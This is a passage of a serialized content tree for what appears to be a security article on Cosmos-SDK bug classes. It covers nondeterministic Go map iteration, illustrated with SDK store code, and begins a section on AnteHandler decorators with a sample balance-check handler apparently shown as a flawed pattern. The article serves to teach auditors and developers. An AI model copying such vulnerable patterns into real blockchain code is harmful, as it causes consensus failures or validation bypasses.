[]string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[75055],{"type":19,"tag":27,"props":75056,"children":75057},{"__ignoreMap":7},[75058,75089,75096,75123,75143,75170,75206,75213,75242,75249,75284,75311,75330,75341,75385,75392,75399,75406],{"type":19,"tag":168,"props":75059,"children":75060},{"class":170,"line":171},[75061,75065,75069,75073,75077,75081,75085],{"type":19,"tag":168,"props":75062,"children":75063},{"style":382},[75064],{"type":24,"value":30229},{"type":19,"tag":168,"props":75066,"children":75067},{"style":825},[75068],{"type":24,"value":74803},{"type":19,"tag":168,"props":75070,"children":75071},{"style":382},[75072],{"type":24,"value":47151},{"type":19,"tag":168,"props":75074,"children":75075},{"style":212},[75076],{"type":24,"value":1152},{"type":19,"tag":168,"props":75078,"children":75079},{"style":825},[75080],{"type":24,"value":27137},{"type":19,"tag":168,"props":75082,"children":75083},{"style":212},[75084],{"type":24,"value":12858},{"type":19,"tag":168,"props":75086,"children":75087},{"style":825},[75088],{"type":24,"value":74824},{"type":19,"tag":168,"props":75090,"children":75091},{"class":170,"line":198},[75092],{"type":19,"tag":168,"props":75093,"children":75094},{"emptyLinePlaceholder":14},[75095],{"type":24,"value":1093},{"type":19,"tag":168,"props":75097,"children":75098},{"class":170,"line":415},[75099,75103,75107,75111,75115,75119],{"type":19,"tag":168,"props":75100,"children":75101},{"style":382},[75102],{"type":24,"value":73789},{"type":19,"tag":168,"props":75104,"children":75105},{"style":175},[75106],{"type":24,"value":74843},{"type":19,"tag":168,"props":75108,"children":75109},{"style":212},[75110],{"type":24,"value":500},{"type":19,"tag":168,"props":75112,"children":75113},{"style":393},[75114],{"type":24,"value":74852},{"type":19,"tag":168,"props":75116,"children":75117},{"style":825},[75118],{"type":24,"value":74803},{"type":19,"tag":168,"props":75120,"children":75121},{"style":212},[75122],{"type":24,"value":12250},{"type":19,"tag":168,"props":75124,"children":75125},{"class":170,"line":450},[75126,75131,75135,75139],{"type":19,"tag":168,"props":75127,"children":75128},{"style":382},[75129],{"type":24,"value":75130}," var",{"type":19,"tag":168,"props":75132,"children":75133},{"style":393},[75134],{"type":24,"value":18835},{"type":19,"tag":168,"props":75136,"children":75137},{"style":212},[75138],{"type":24,"value":73716},{"type":19,"tag":168,"props":75140,"children":75141},{"style":825},[75142],{"type":24,"value":74824},{"type":19,"tag":168,"props":75144,"children":75145},{"class":170,"line":560},[75146,75150,75154,75158,75162,75166],{"type":19,"tag":168,"props":75147,"children":75148},{"style":419},[75149],{"type":24,"value":422},{"type":19,"tag":168,"props":75151,"children":75152},{"style":393},[75153],{"type":24,"value":3366},{"type":19,"tag":168,"props":75155,"children":75156},{"style":399},[75157],{"type":24,"value":73905},{"type":19,"tag":168,"props":75159,"children":75160},{"style":419},[75161],{"type":24,"value":74888},{"type":19,"tag":168,"props":75163,"children":75164},{"style":393},[75165],{"type":24,"value":74893},{"type":19,"tag":168,"props":75167,"children":75168},{"style":212},[75169],{"type":24,"value":691},{"type":19,"tag":168,"props":75171,"children":75172},{"class":170,"line":666},[75173,75177,75181,75186,75190,75194,75198,75202],{"type":19,"tag":168,"props":75174,"children":75175},{"style":393},[75176],{"type":24,"value":22799},{"type":19,"tag":168,"props":75178,"children":75179},{"style":399},[75180],{"type":24,"value":402},{"type":19,"tag":168,"props":75182,"children":75183},{"style":175},[75184],{"type":24,"value":75185}," append",{"type":19,"tag":168,"props":75187,"children":75188},{"style":212},[75189],{"type":24,"value":500},{"type":19,"tag":168,"props":75191,"children":75192},{"style":393},[75193],{"type":24,"value":18438},{"type":19,"tag":168,"props":75195,"children":75196},{"style":212},[75197],{"type":24,"value":471},{"type":19,"tag":168,"props":75199,"children":75200},{"style":393},[75201],{"type":24,"value":69643},{"type":19,"tag":168,"props":75203,"children":75204},{"style":212},[75205],{"type":24,"value":557},{"type":19,"tag":168,"props":75207,"children":75208},{"class":170,"line":694},[75209],{"type":19,"tag":168,"props":75210,"children":75211},{"style":212},[75212],{"type":24,"value":761},{"type":19,"tag":168,"props":75214,"children":75215},{"class":170,"line":707},[75216,75221,75225,75230,75234,75238],{"type":19,"tag":168,"props":75217,"children":75218},{"style":393},[75219],{"type":24,"value":75220}," sort",{"type":19,"tag":168,"props":75222,"children":75223},{"style":212},[75224],{"type":24,"value":948},{"type":19,"tag":168,"props":75226,"children":75227},{"style":175},[75228],{"type":24,"value":75229},"Strings",{"type":19,"tag":168,"props":75231,"children":75232},{"style":212},[75233],{"type":24,"value":500},{"type":19,"tag":168,"props":75235,"children":75236},{"style":393},[75237],{"type":24,"value":18438},{"type":19,"tag":168,"props":75239,"children":75240},{"style":212},[75241],{"type":24,"value":557},{"type":19,"tag":168,"props":75243,"children":75244},{"class":170,"line":725},[75245],{"type":19,"tag":168,"props":75246,"children":75247},{"emptyLinePlaceholder":14},[75248],{"type":24,"value":1093},{"type":19,"tag":168,"props":75250,"children":75251},{"class":170,"line":746},[75252,75256,75260,75264,75268,75272,75276,75280],{"type":19,"tag":168,"props":75253,"children":75254},{"style":419},[75255],{"type":24,"value":422},{"type":19,"tag":168,"props":75257,"children":75258},{"style":393},[75259],{"type":24,"value":427},{"type":19,"tag":168,"props":75261,"children":75262},{"style":212},[75263],{"type":24,"value":471},{"type":19,"tag":168,"props":75265,"children":75266},{"style":393},[75267],{"type":24,"value":69643},{"type":19,"tag":168,"props":75269,"children":75270},{"style":399},[75271],{"type":24,"value":73905},{"type":19,"tag":168,"props":75273,"children":75274},{"style":419},[75275],{"type":24,"value":74888},{"type":19,"tag":168,"props":75277,"children":75278},{"style":393},[75279],{"type":24,"value":18835},{"type":19,"tag":168,"props":75281,"children":75282},{"style":212},[75283],{"type":24,"value":691},{"type":19,"tag":168,"props":75285,"children":75286},{"class":170,"line":755},[75287,75291,75295,75299,75303,75307],{"type":19,"tag":168,"props":75288,"children":75289},{"style":393},[75290],{"type":24,"value":23654},{"type":19,"tag":168,"props":75292,"children":75293},{"style":212},[75294],{"type":24,"value":948},{"type":19,"tag":168,"props":75296,"children":75297},{"style":393},[75298],{"type":24,"value":74913},{"type":19,"tag":168,"props":75300,"children":75301},{"style":212},[75302],{"type":24,"value":948},{"type":19,"tag":168,"props":75304,"children":75305},{"style":175},[75306],{"type":24,"value":74922},{"type":19,"tag":168,"props":75308,"children":75309},{"style":212},[75310],{"type":24,"value":870},{"type":19,"tag":168,"props":75312,"children":75313},{"class":170,"line":1008},[75314,75318,75322,75326],{"type":19,"tag":168,"props":75315,"children":75316},{"style":393},[75317],{"type":24,"value":74934},{"type":19,"tag":168,"props":75319,"children":75320},{"style":212},[75321],{"type":24,"value":948},{"type":19,"tag":168,"props":75323,"children":75324},{"style":175},[75325],{"type":24,"value":74943},{"type":19,"tag":168,"props":75327,"children":75328},{"style":212},[75329],{"type":24,"value":870},{"type":19,"tag":168,"props":75331,"children":75332},{"class":170,"line":1025},[75333,75337],{"type":19,"tag":168,"props":75334,"children":75335},{"style":181},[75336],{"type":24,"value":74955},{"type":19,"tag":168,"props":75338,"children":75339},{"style":212},[75340],{"type":24,"value":915},{"type":19,"tag":168,"props":75342,"children":75343},{"class":170,"line":1042},[75344,75348,75352,75356,75360,75364,75368,75372,75376,75380],{"type":19,"tag":168,"props":75345,"children":75346},{"style":393},[75347],{"type":24,"value":74967},{"type":19,"tag":168,"props":75349,"children":75350},{"style":212},[75351],{"type":24,"value":948},{"type":19,"tag":168,"props":75353,"children":75354},{"style":175},[75355],{"type":24,"value":74976},{"type":19,"tag":168,"props":75357,"children":75358},{"style":212},[75359],{"type":24,"value":500},{"type":19,"tag":168,"props":75361,"children":75362},{"style":393},[75363],{"type":24,"value":69643},{"type":19,"tag":168,"props":75365,"children":75366},{"style":212},[75367],{"type":24,"value":471},{"type":19,"tag":168,"props":75369,"children":75370},{"style":393},[75371],{"type":24,"value":74852},{"type":19,"tag":168,"props":75373,"children":75374},{"style":212},[75375],{"type":24,"value":1152},{"type":19,"tag":168,"props":75377,"children":75378},{"style":393},[75379],{"type":24,"value":69643},{"type":19,"tag":168,"props":75381,"children":75382},{"style":212},[75383],{"type":24,"value":75384},"]),\n",{"type":19,"tag":168,"props":75386,"children":75387},{"class":170,"line":1055},[75388],{"type":19,"tag":168,"props":75389,"children":75390},{"style":212},[75391],{"type":24,"value":75004},{"type":19,"tag":168,"props":75393,"children":75394},{"class":170,"line":1064},[75395],{"type":19,"tag":168,"props":75396,"children":75397},{"style":212},[75398],{"type":24,"value":65807},{"type":19,"tag":168,"props":75400,"children":75401},{"class":170,"line":1087},[75402],{"type":19,"tag":168,"props":75403,"children":75404},{"style":212},[75405],{"type":24,"value":761},{"type":19,"tag":168,"props":75407,"children":75408},{"class":170,"line":1096},[75409],{"type":19,"tag":168,"props":75410,"children":75411},{"style":212},[75412],{"type":24,"value":1326},{"type":19,"tag":20,"props":75414,"children":75415},{},[75416],{"type":24,"value":75417},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":19,"tag":7050,"props":75419,"children":75421},{"id":75420},"real-world-examples-1",[75422],{"type":24,"value":74178},{"type":19,"tag":20,"props":75424,"children":75425},{},[75426,75428,75433,75435,75441,75443,75449,75451,75457],{"type":24,"value":75427},"Real-world examples of ",{"type":19,"tag":27,"props":75429,"children":75431},{"className":75430},[],[75432],{"type":24,"value":64588},{"type":24,"value":75434}," causing determinism problems can be found ",{"type":19,"tag":269,"props":75436,"children":75439},{"href":75437,"rel":75438},"https://github.com/cosmos/cosmos-sdk/pull/12487",[273],[75440],{"type":24,"value":45066},{"type":24,"value":75442},", specifically, where the result of ",{"type":19,"tag":27,"props":75444,"children":75446},{"className":75445},[],[75447],{"type":24,"value":75448},"buildCommitInfo",{"type":24,"value":75450}," is inconsistent due to iteration over the ",{"type":19,"tag":27,"props":75452,"children":75454},{"className":75453},[],[75455],{"type":24,"value":75456},"rs.stores",{"type":24,"value":75458}," map.",{"type":19,"tag":20,"props":75460,"children":75461},{},[75462],{"type":19,"tag":269,"props":75463,"children":75466},{"href":75464,"rel":75465},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[273],[75467],{"type":24,"value":74228},{"type":19,"tag":158,"props":75469,"children":75471},{"code":75470,"language":73653,"meta":7,"className":73654,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[75472],{"type":19,"tag":27,"props":75473,"children":75474},{"__ignoreMap":7},[75475,75512,75525,75553,75587,75632,75678,75686,75693,75738,75768,75797,75804,75811,75838,75860,75880,75887],{"type":19,"tag":168,"props":75476,"children":75477},{"class":170,"line":171},[75478,75482,75486,75491,75495,75500,75504,75508],{"type":19,"tag":168,"props":75479,"children":75480},{"style":382},[75481],{"type":24,"value":73789},{"type":19,"tag":168,"props":75483,"children":75484},{"style":212},[75485],{"type":24,"value":461},{"type":19,"tag":168,"props":75487,"children":75488},{"style":393},[75489],{"type":24,"value":75490},"rs ",{"type":19,"tag":168,"props":75492,"children":75493},{"style":399},[75494],{"type":24,"value":2002},{"type":19,"tag":168,"props":75496,"children":75497},{"style":825},[75498],{"type":24,"value":75499},"Store",{"type":19,"tag":168,"props":75501,"children":75502},{"style":212},[75503],{"type":24,"value":481},{"type":19,"tag":168,"props":75505,"children":75506},{"style":175},[75507],{"type":24,"value":75448},{"type":19,"tag":168,"props":75509,"children":75510},{"style":212},[75511],{"type":24,"value":870},{"type":19,"tag":168,"props":75513,"children":75514},{"class":170,"line":198},[75515,75520],{"type":19,"tag":168,"props":75516,"children":75517},{"style":393},[75518],{"type":24,"value":75519}," version",{"type":19,"tag":168,"props":75521,"children":75522},{"style":825},[75523],{"type":24,"value":75524}," int64\n",{"type":19,"tag":168,"props":75526,"children":75527},{"class":170,"line":415},[75528,75532,75536,75540,75544,75549],{"type":19,"tag":168,"props":75529,"children":75530},{"style":212},[75531],{"type":24,"value":481},{"type":19,"tag":168,"props":75533,"children":75534},{"style":399},[75535],{"type":24,"value":2002},{"type":19,"tag":168,"props":75537,"children":75538},{"style":825},[75539],{"type":24,"value":3192},{"type":19,"tag":168,"props":75541,"children":75542},{"style":212},[75543],{"type":24,"value":948},{"type":19,"tag":168,"props":75545,"children":75546},{"style":825},[75547],{"type":24,"value":75548},"CommitInfo",{"type":19,"tag":168,"props":75550,"children":75551},{"style":212},[75552],{"type":24,"value":691},{"type":19,"tag":168,"props":75554,"children":75555},{"class":170,"line":450},[75556,75561,75565,75569,75573,75577,75582],{"type":19,"tag":168,"props":75557,"children":75558},{"style":393},[75559],{"type":24,"value":75560}," storeInfos",{"type":19,"tag":168,"props":75562,"children":75563},{"style":399},[75564],{"type":24,"value":73905},{"type":19,"tag":168,"props":75566,"children":75567},{"style":212},[75568],{"type":24,"value":73716},{"type":19,"tag":168,"props":75570,"children":75571},{"style":825},[75572],{"type":24,"value":3192},{"type":19,"tag":168,"props":75574,"children":75575},{"style":212},[75576],{"type":24,"value":948},{"type":19,"tag":168,"props":75578,"children":75579},{"style":825},[75580],{"type":24,"value":75581},"StoreInfo",{"type":19,"tag":168,"props":75583,"children":75584},{"style":212},[75585],{"type":24,"value":75586},"{}\n",{"type":19,"tag":168,"props":75588,"children":75589},{"class":170,"line":560},[75590,75594,75598,75602,75606,75610,75614,75619,75623,75628],{"type":19,"tag":168,"props":75591,"children":75592},{"style":419},[75593],{"type":24,"value":422},{"type":19,"tag":168,"props":75595,"children":75596},{"style":393},[75597],{"type":24,"value":3366},{"type":19,"tag":168,"props":75599,"children":75600},{"style":212},[75601],{"type":24,"value":471},{"type":19,"tag":168,"props":75603,"children":75604},{"style":393},[75605],{"type":24,"value":3375},{"type":19,"tag":168,"props":75607,"children":75608},{"style":399},[75609],{"type":24,"value":73905},{"type":19,"tag":168,"props":75611,"children":75612},{"style":419},[75613],{"type":24,"value":74888},{"type":19,"tag":168,"props":75615,"children":75616},{"style":393},[75617],{"type":24,"value":75618}," rs",{"type":19,"tag":168,"props":75620,"children":75621},{"style":212},[75622],{"type":24,"value":948},{"type":19,"tag":168,"props":75624,"children":75625},{"style":393},[75626],{"type":24,"value":75627},"stores",{"type":19,"tag":168,"props":75629,"children":75630},{"style":212},[75631],{"type":24,"value":691},{"type":19,"tag":168,"props":75633,"children":75634},{"class":170,"line":666},[75635,75639,75643,75647,75652,75656,75660,75665,75669,75674],{"type":19,"tag":168,"props":75636,"children":75637},{"style":419},[75638],{"type":24,"value":672},{"type":19,"tag":168,"props":75640,"children":75641},{"style":393},[75642],{"type":24,"value":3265},{"type":19,"tag":168,"props":75644,"children":75645},{"style":212},[75646],{"type":24,"value":948},{"type":19,"tag":168,"props":75648,"children":75649},{"style":175},[75650],{"type":24,"value":75651},"GetStoreType",{"type":19,"tag":168,"props":75653,"children":75654},{"style":212},[75655],{"type":24,"value":11489},{"type":19,"tag":168,"props":75657,"children":75658},{"style":399},[75659],{"type":24,"value":6013},{"type":19,"tag":168,"props":75661,"children":75662},{"style":393},[75663],{"type":24,"value":75664}," types",{"type":19,"tag":168,"props":75666,"children":75667},{"style":212},[75668],{"type":24,"value":948},{"type":19,"tag":168,"props":75670,"children":75671},{"style":393},[75672],{"type":24,"value":75673},"StoreTypeTransient",{"type":19,"tag":168,"props":75675,"children":75676},{"style":212},[75677],{"type":24,"value":691},{"type":19,"tag":168,"props":75679,"children":75680},{"class":170,"line":694},[75681],{"type":19,"tag":168,"props":75682,"children":75683},{"style":419},[75684],{"type":24,"value":75685}," continue\n",{"type":19,"tag":168,"props":75687,"children":75688},{"class":170,"line":707},[75689],{"type":19,"tag":168,"props":75690,"children":75691},{"style":212},[75692],{"type":24,"value":752},{"type":19,"tag":168,"props":75694,"children":75695},{"class":170,"line":725},[75696,75701,75705,75709,75713,75718,75722,75726,75730,75734],{"type":19,"tag":168,"props":75697,"children":75698},{"style":393},[75699],{"type":24,"value":75700}," storeInfos",{"type":19,"tag":168,"props":75702,"children":75703},{"style":399},[75704],{"type":24,"value":402},{"type":19,"tag":168,"props":75706,"children":75707},{"style":175},[75708],{"type":24,"value":75185},{"type":19,"tag":168,"props":75710,"children":75711},{"style":212},[75712],{"type":24,"value":500},{"type":19,"tag":168,"props":75714,"children":75715},{"style":393},[75716],{"type":24,"value":75717},"storeInfos",{"type":19,"tag":168,"props":75719,"children":75720},{"style":212},[75721],{"type":24,"value":471},{"type":19,"tag":168,"props":75723,"children":75724},{"style":825},[75725],{"type":24,"value":3192},{"type":19,"tag":168,"props":75727,"children":75728},{"style":212},[75729],{"type":24,"value":948},{"type":19,"tag":168,"props":75731,"children":75732},{"style":825},[75733],{"type":24,"value":75581},{"type":19,"tag":168,"props":75735,"children":75736},{"style":212},[75737],{"type":24,"value":8324},{"type":19,"tag":168,"props":75739,"children":75740},{"class":170,"line":746},[75741,75746,75751,75755,75759,75764],{"type":19,"tag":168,"props":75742,"children":75743},{"style":393},[75744],{"type":24,"value":75745}," Name",{"type":19,"tag":168,"props":75747,"children":75748},{"style":212},[75749],{"type":24,"value":75750},": ",{"type":19,"tag":168,"props":75752,"children":75753},{"style":393},[75754],{"type":24,"value":69643},{"type":19,"tag":168,"props":75756,"children":75757},{"style":212},[75758],{"type":24,"value":948},{"type":19,"tag":168,"props":75760,"children":75761},{"style":175},[75762],{"type":24,"value":75763},"Name",{"type":19,"tag":168,"props":75765,"children":75766},{"style":212},[75767],{"type":24,"value":898},{"type":19,"tag":168,"props":75769,"children":75770},{"class":170,"line":755},[75771,75776,75780,75784,75788,75793],{"type":19,"tag":168,"props":75772,"children":75773},{"style":393},[75774],{"type":24,"value":75775}," CommitId",{"type":19,"tag":168,"props":75777,"children":75778},{"style":212},[75779],{"type":24,"value":12778},{"type":19,"tag":168,"props":75781,"children":75782},{"style":393},[75783],{"type":24,"value":3375},{"type":19,"tag":168,"props":75785,"children":75786},{"style":212},[75787],{"type":24,"value":948},{"type":19,"tag":168,"props":75789,"children":75790},{"style":175},[75791],{"type":24,"value":75792},"LastCommitID",{"type":19,"tag":168,"props":75794,"children":75795},{"style":212},[75796],{"type":24,"value":898},{"type":19,"tag":168,"props":75798,"children":75799},{"class":170,"line":1008},[75800],{"type":19,"tag":168,"props":75801,"children":75802},{"style":212},[75803],{"type":24,"value":65684},{"type":19,"tag":168,"props":75805,"children":75806},{"class":170,"line":1025},[75807],{"type":19,"tag":168,"props":75808,"children":75809},{"style":212},[75810],{"type":24,"value":761},{"type":19,"tag":168,"props":75812,"children":75813},{"class":170,"line":1042},[75814,75818,75822,75826,75830,75834],{"type":19,"tag":168,"props":75815,"children":75816},{"style":419},[75817],{"type":24,"value":14438},{"type":19,"tag":168,"props":75819,"children":75820},{"style":399},[75821],{"type":24,"value":4577},{"type":19,"tag":168,"props":75823,"children":75824},{"style":825},[75825],{"type":24,"value":3192},{"type":19,"tag":168,"props":75827,"children":75828},{"style":212},[75829],{"type":24,"value":948},{"type":19,"tag":168,"props":75831,"children":75832},{"style":825},[75833],{"type":24,"value":75548},{"type":19,"tag":168,"props":75835,"children":75836},{"style":212},[75837],{"type":24,"value":8324},{"type":19,"tag":168,"props":75839,"children":75840},{"class":170,"line":1055},[75841,75846,75851,75856],{"type":19,"tag":168,"props":75842,"children":75843},{"style":393},[75844],{"type":24,"value":75845}," Version",{"type":19,"tag":168,"props":75847,"children":75848},{"style":212},[75849],{"type":24,"value":75850},": ",{"type":19,"tag":168,"props":75852,"children":75853},{"style":393},[75854],{"type":24,"value":75855},"version",{"type":19,"tag":168,"props":75857,"children":75858},{"style":212},[75859],{"type":24,"value":915},{"type":19,"tag":168,"props":75861,"children":75862},{"class":170,"line":1064},[75863,75868,75872,75876],{"type":19,"tag":168,"props":75864,"children":75865},{"style":393},[75866],{"type":24,"value":75867}," StoreInfos",{"type":19,"tag":168,"props":75869,"children":75870},{"style":212},[75871],{"type":24,"value":12778},{"type":19,"tag":168,"props":75873,"children":75874},{"style":393},[75875],{"type":24,"value":75717},{"type":19,"tag":168,"props":75877,"children":75878},{"style":212},[75879],{"type":24,"value":915},{"type":19,"tag":168,"props":75881,"children":75882},{"class":170,"line":1087},[75883],{"type":19,"tag":168,"props":75884,"children":75885},{"style":212},[75886],{"type":24,"value":761},{"type":19,"tag":168,"props":75888,"children":75889},{"class":170,"line":1096},[75890],{"type":19,"tag":168,"props":75891,"children":75892},{"style":212},[75893],{"type":24,"value":1326},{"type":19,"tag":20,"props":75895,"children":75896},{},[75897,75899,75906,75907,75914],{"type":24,"value":75898},"Other factors contributing to determinism issues are the usage of ",{"type":19,"tag":269,"props":75900,"children":75903},{"href":75901,"rel":75902},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[273],[75904],{"type":24,"value":75905},"time-sensitive functions",{"type":24,"value":8436},{"type":19,"tag":269,"props":75908,"children":75911},{"href":75909,"rel":75910},"https://github.com/cosmos/cosmos-sdk/issues/16638",[273],[75912],{"type":24,"value":75913},"race conditions",{"type":24,"value":948},{"type":19,"tag":36,"props":75916,"children":75918},{"id":75917},"thou-shalt-not-passor-should-you",[75919],{"type":24,"value":75920},"Thou Shalt Not Pass...Or Should You?",{"type":19,"tag":20,"props":75922,"children":75923},{},[75924,75926,75932,75933,75939],{"type":24,"value":75925},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":19,"tag":27,"props":75927,"children":75929},{"className":75928},[],[75930],{"type":24,"value":75931},"msg.value",{"type":24,"value":471},{"type":19,"tag":27,"props":75934,"children":75936},{"className":75935},[],[75937],{"type":24,"value":75938},"msg.sender",{"type":24,"value":75940},", and collecting transaction fees) to the underlying blockchain.",{"type":19,"tag":20,"props":75942,"children":75943},{},[75944,75946,75952,75954,75960],{"type":24,"value":75945},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":19,"tag":27,"props":75947,"children":75949},{"className":75948},[],[75950],{"type":24,"value":75951},"Cosmos-SDK",{"type":24,"value":75953}," introduces ",{"type":19,"tag":27,"props":75955,"children":75957},{"className":75956},[],[75958],{"type":24,"value":75959},"AnteHandler",{"type":24,"value":75961}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":19,"tag":20,"props":75963,"children":75964},{},[75965,75967,75972,75974,75979],{"type":24,"value":75966},"To provide context, let's first understand how an ",{"type":19,"tag":27,"props":75968,"children":75970},{"className":75969},[],[75971],{"type":24,"value":75959},{"type":24,"value":75973}," is processed. Each ",{"type":19,"tag":27,"props":75975,"children":75977},{"className":75976},[],[75978],{"type":24,"value":75959},{"type":24,"value":75980}," is a state transition function that can:",{"type":19,"tag":2869,"props":75982,"children":75983},{},[75984,75989],{"type":19,"tag":47,"props":75985,"children":75986},{},[75987],{"type":24,"value":75988},"Transform the block state in relation to transaction and execution context.",{"type":19,"tag":47,"props":75990,"children":75991},{},[75992,75994],{"type":24,"value":75993},"Determine the course of action for the transaction.\n",{"type":19,"tag":2869,"props":75995,"children":75996},{},[75997,76008],{"type":19,"tag":47,"props":75998,"children":75999},{},[76000,76002,76007],{"type":24,"value":76001},"Pass the transaction to the next ",{"type":19,"tag":27,"props":76003,"children":76005},{"className":76004},[],[76006],{"type":24,"value":75959},{"type":24,"value":948},{"type":19,"tag":47,"props":76009,"children":76010},{},[76011],{"type":24,"value":76012},"Return error for transaction.",{"type":19,"tag":20,"props":76014,"children":76015},{},[76016,76018,76023],{"type":24,"value":76017},"The bad news is that developing an ",{"type":19,"tag":27,"props":76019,"children":76021},{"className":76020},[],[76022],{"type":24,"value":75959},{"type":24,"value":76024}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":19,"tag":20,"props":76026,"children":76027},{},[76028,76029,76035],{"type":24,"value":14062},{"type":19,"tag":27,"props":76030,"children":76032},{"className":76031},[],[76033],{"type":24,"value":76034},"AnteHandle",{"type":24,"value":76036}," implementation may look something like this:",{"type":19,"tag":158,"props":76038,"children":76040},{"code":76039,"language":73653,"meta":7,"className":73654,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[76041],{"type":19,"tag":27,"props":76042,"children":76043},{"__ignoreMap":7},[76044,76056,76072,76079,76086,76119,76143,76168,76184,76208,76240,76288,76307,76340,76361,76373,76380,76387,76394,76424,76460,76524,76558,76590,76602,76614,76621,76628,76635,76642,76684],{"type":19,"tag":168,"props":76045,"children":76046},{"class":170,"line":171},[76047,76051],{"type":19,"tag":168,"props":76048,"children":76049},{"style":382},[76050],{"type":24,"value":7097},{"type":19,"tag":168,"props":76052,"children":76053},{"style":212},[76054],{"type":24,"value":76055}," (\n",{"type":19,"tag":168,"props":76057,"children":76058},{"class":170,"line":198},[76059,76064,76068],{"type":19,"tag":168,"props":76060,"children":76061},{"style":393},[76062],{"type":24,"value":76063}," MIN_BALANCE",{"type":19,"tag":168,"props":76065,"children":76066},{"style":399},[76067],{"type":24,"value":402},{"type":19,"tag":168,"props":76069,"children":76070},{"style":192},[76071],{"type":24,"value":16796},{"type":19,"tag":168,"props":76073,"children":76074},{"class":170,"line":415},[76075],{"type":19,"tag":168,"props":76076,"children":76077},{"style":212},[76078],{"type":24,"value":557},{"type":19,"tag":168,"props":76080,"children":76081},{"class":170,"line":450},[76082],{"type":19,"tag":168,"props":76083,"children":76084},{"emptyLinePlaceholder":14},[76085],{"type":24,"value":1093},{"type":19,"tag":168,"props":76087,"children":76088},{"class":170,"line":560},[76089,76093,76097,76102,76107,76111,76115],{"type":19,"tag":168,"props":76090,"children":76091},{"style":382},[76092],{"type":24,"value":73789},{"type":19,"tag":168,"props":76094,"children":76095},{"style":212},[76096],{"type":24,"value":461},{"type":19,"tag":168,"props":76098,"children":76099},{"style":393},[76100],{"type":24,"value":76101},"abd ",{"type":19,"tag":168,"props":76103,"children":76104},{"style":825},[76105],{"type":24,"value":76106},"AccountBalanceDecorator",{"type":19,"tag":168,"props":76108,"children":76109},{"style":212},[76110],{"type":24,"value":481},{"type":19,"tag":168,"props":76112,"children":76113},{"style":175},[76114],{"type":24,"value":76034},{"type":19,"tag":168,"props":76116,"children":76117},{"style":212},[76118],{"type":24,"value":870},{"type":19,"tag":168,"props":76120,"children":76121},{"class":170,"line":666},[76122,76126,76131,76135,76139],{"type":19,"tag":168,"props":76123,"children":76124},{"style":393},[76125],{"type":24,"value":17678},{"type":19,"tag":168,"props":76127,"children":76128},{"style":825},[76129],{"type":24,"value":76130}," sdk",{"type":19,"tag":168,"props":76132,"children":76133},{"style":212},[76134],{"type":24,"value":948},{"type":19,"tag":168,"props":76136,"children":76137},{"style":825},[76138],{"type":24,"value":73838},{"type":19,"tag":168,"props":76140,"children":76141},{"style":212},[76142],{"type":24,"value":915},{"type":19,"tag":168,"props":76144,"children":76145},{"class":170,"line":694},[76146,76151,76155,76159,76164],{"type":19,"tag":168,"props":76147,"children":76148},{"style":393},[76149],{"type":24,"value":76150}," tx",{"type":19,"tag":168,"props":76152,"children":76153},{"style":825},[76154],{"type":24,"value":76130},{"type":19,"tag":168,"props":76156,"children":76157},{"style":212},[76158],{"type":24,"value":948},{"type":19,"tag":168,"props":76160,"children":76161},{"style":825},[76162],{"type":24,"value":76163},"Tx",{"type":19,"tag":168,"props":76165,"children":76166},{"style":212},[76167],{"type":24,"value":915},{"type":19,"tag":168,"props":76169,"children":76170},{"class":170,"line":707},[76171,76176,76180],{"type":19,"tag":168,"props":76172,"children":76173},{"style":393},[76174],{"type":24,"value":76175}," simulate",{"type":19,"tag":168,"props":76177,"children":76178},{"style":825},[76179],{"type":24,"value":9495},{"type":19,"tag":168,"props":76181,"children":76182},{"style":212},[76183],{"type":24,"value":915},{"type":19,"tag":168,"props":76185,"children":76186},{"class":170,"line":725},[76187,76192,76196,76200,76204],{"type":19,"tag":168,"props":76188,"children":76189},{"style":393},[76190],{"type":24,"value":76191}," 